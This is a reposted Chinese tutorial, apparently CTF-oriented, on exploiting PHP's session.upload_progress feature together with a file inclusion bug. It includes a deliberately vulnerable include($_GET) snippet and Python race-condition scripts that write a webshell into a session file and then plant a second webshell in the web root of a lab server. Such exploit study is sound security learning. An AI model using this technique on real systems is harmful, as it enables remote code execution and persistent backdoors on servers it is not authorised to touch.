返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >详解利用session进行文件包含
  • 102
分享到

详解利用session进行文件包含

php服务器开发语言安全 2023-09-08 18:09:49 102人浏览 薄情痞子
摘要

什么是session.upload_progress? 与open_basedir、allow_url_fopen、allow_url_include等PHP配置一样,session.upload_progress也是php的一个功能,同样

什么是session.upload_progress?

open_basedirallow_url_fopenallow_url_includePHP配置一样,session.upload_progress也是php的一个功能,同样可以在php.ini中设置相关属性。其中最重要的几个设置如下:

session.upload_progress.enabled = onsession.upload_progress.cleanup = onsession.upload_progress.prefix = "upload_progress_"session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • session.upload_progress.enabled可以控制是否开启session.upload_progress功能

  • session.upload_progress.cleanup可以控制是否在上传之后删除文件内容

  • session.upload_progress.prefix可以设置上传文件内容的前缀

  • session.upload_progress.name的值即为session中的键值

session.upload_progress开启之后会有什么效果?

当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。

问题1:

那么这个时候就会有一个前提条件,就是如何初始化session并且把session中的内容写到文件中去呢?

分析1:

我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去,具体文件的内容是什么,后面会写到。

问题2:

当session.upload_progress.cleanup的值为on时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办?

分析2:

利用python多线程,进行条件竞争

如何利用session.upload_progress进行RCE?

然而,理论再多也没用,还是得一步步调试,看看在文件上传的时候,整一个PHP服务端到底发生了什么。所以还是需要做实验。

首先,在网站根目录下随便新建一个test.php文件

然后写一个Python程序用于往服务器上上传文件:

这里有几个注意点:

  • 上传的文件大小为50KB,文件名为Lxxx.jpg

  • 该程序设置的sessionid为Lxxx,也就是说会在/tmp目录下生成sess_Lxxx文件

  • 该程序设置的PHP_SESSION_UPLOAD_PROGRESS值为一句话木马,也就是说,在理论上,一句话木马会被写入到/tmp/sess_Lxxx

import requestsimport iourl = "Http://192.168.2.128/test.php"sessid = "Lxxx"def write(session):   filebytes = io.BytesIO(b'a' * 1024 * 50)   while True:       res = session.post(url,           data={               'PHP_SESSION_UPLOAD_PROGRESS': ""              },           cookies={               'PHPSESSID': sessid              },           files={               'file': ('Lxxx.jpg', filebytes)              }          )if __name__ == "__main__":   with requests.session() as session:       write(session)

执行程序后,我们需要用tail -f命令实时查看/tmp/sess_Lxxx文件,因为在本地测试速度比较快,如果使用cat命令,文件内容还没输出就被删除了。

tail -f /tmp/sess_Lxxx

结果如下:

也就是说,/tmp/sess_Lxxx文件中的内容为:

upload_progress_|a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}

仔细分析一下该文件内容,该文件分为两块,以竖线|区分。

第一块内容如下:

upload_progress_

这一块内容由以下两个值组成:session.upload_progress.name+PHP_SESSION_UPLOAD_PROGRESS

第二块内容如下:

a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}

一看就是序列化之后的值,我们将其进行反序列化后输出:

array(5) {["start_time"]=> int(1631343214)["content_length"]=> int(276)["bytes_processed"]=> int(276)["done"]=> bool(false)["files"]=> array(1) {  [0]=>   array(7) {    ["field_name"]=>     string(4) "file"    ["name"]=>     string(8) "Lxxx.jpg"    ["tmp_name"]=>     NULL    ["error"]=>     int(0)    ["done"]=>     bool(false)    ["start_time"]=>     int(1631343214)    ["bytes_processed"]=>     int(276)  }}}

可以看到这里记录了文件上传时间、文件大小、文件名称等等文件属性。

接下来在网站根目录新建一个test.php文件,文件内容如下:​​​​​​​

$a = $_GET["a"];include($a);

很明显有一个文件包含的漏洞。

接下来我们利用session.upload_progress进行条件竞争

以下代码有几个注意点:

  • 首先,函数write和上面的是一样的,这里就不做过多的赘述了

  • 整个代码的思路就是,往/tmp/sess_Lxxx文件中写入一句话木马,密码为1,然后用题目中的文件包含漏洞,包含这一个文件,在函数read中尝试利用/tmp/sess_Lxxx的一句话往网站根目录文件1.php写一句话木马,密码为2

  • 利用Python的多线程,一边上传文件,一边尝试往根目录中写入1.php,如果成功写入了,就打印输出“成功写入一句话”

  • 这里利用Python的threading模块,开5个线程进行条件竞争

代码如下:​​​​​​​

import requestsimport ioimport threadingurl = "http://192.168.2.128/test.php"sessid = "Lxxx"def write(session):   filebytes = io.BytesIO(b'a' * 1024 * 50)   while True:       res = session.post(url,           data={               'PHP_SESSION_UPLOAD_PROGRESS': ""              },           cookies={               'PHPSESSID': sessid              },           files={               'file': ('Lxxx.jpg', filebytes)              }          )def read(session):   while True:       res = session.post(url+"?a=/tmp/sess_"+sessid,                          data={  "1":"file_put_contents('/www/admin/localhost_80/wwwroot/1.php' , '');"                          },                          cookies={  "PHPSESSID":sessid                          }                          )       res2 = session.get("http://192.168.2.128/1.php")       if res2.status_code == 200:           print("成功写入一句话!")       else:           print("Retry")if __name__ == "__main__":   evnet = threading.Event()   with requests.session() as session:       for i in range(5):           threading.Thread(target=write, args=(session,)).start()       for i in range(5):           threading.Thread(target=read, args=(session,)).start()   evnet.set()

代码执行结果如下:

一开始会一直显示Retry,但是只要运行一段时间就会成功写入一句话。

可以在网站根目录看到,成功写入一句话。

参考资料

  • Nu1L战队的书籍《从0到1 CTFer成长之路》 P140-141

  • https://www.freebuf.com/vuls/202819.html

实操推荐:php竞争条件漏洞

PC端实操地址:http://mrw.so/5JFZS1

“竞争条件”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行操作或者同步操作的场景中。

来源地址:https://blog.csdn.net/YJ_12340/article/details/127733299

--结束END--

本文标题: 详解利用session进行文件包含

本文链接: https://lsjlt.com/news/400432.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作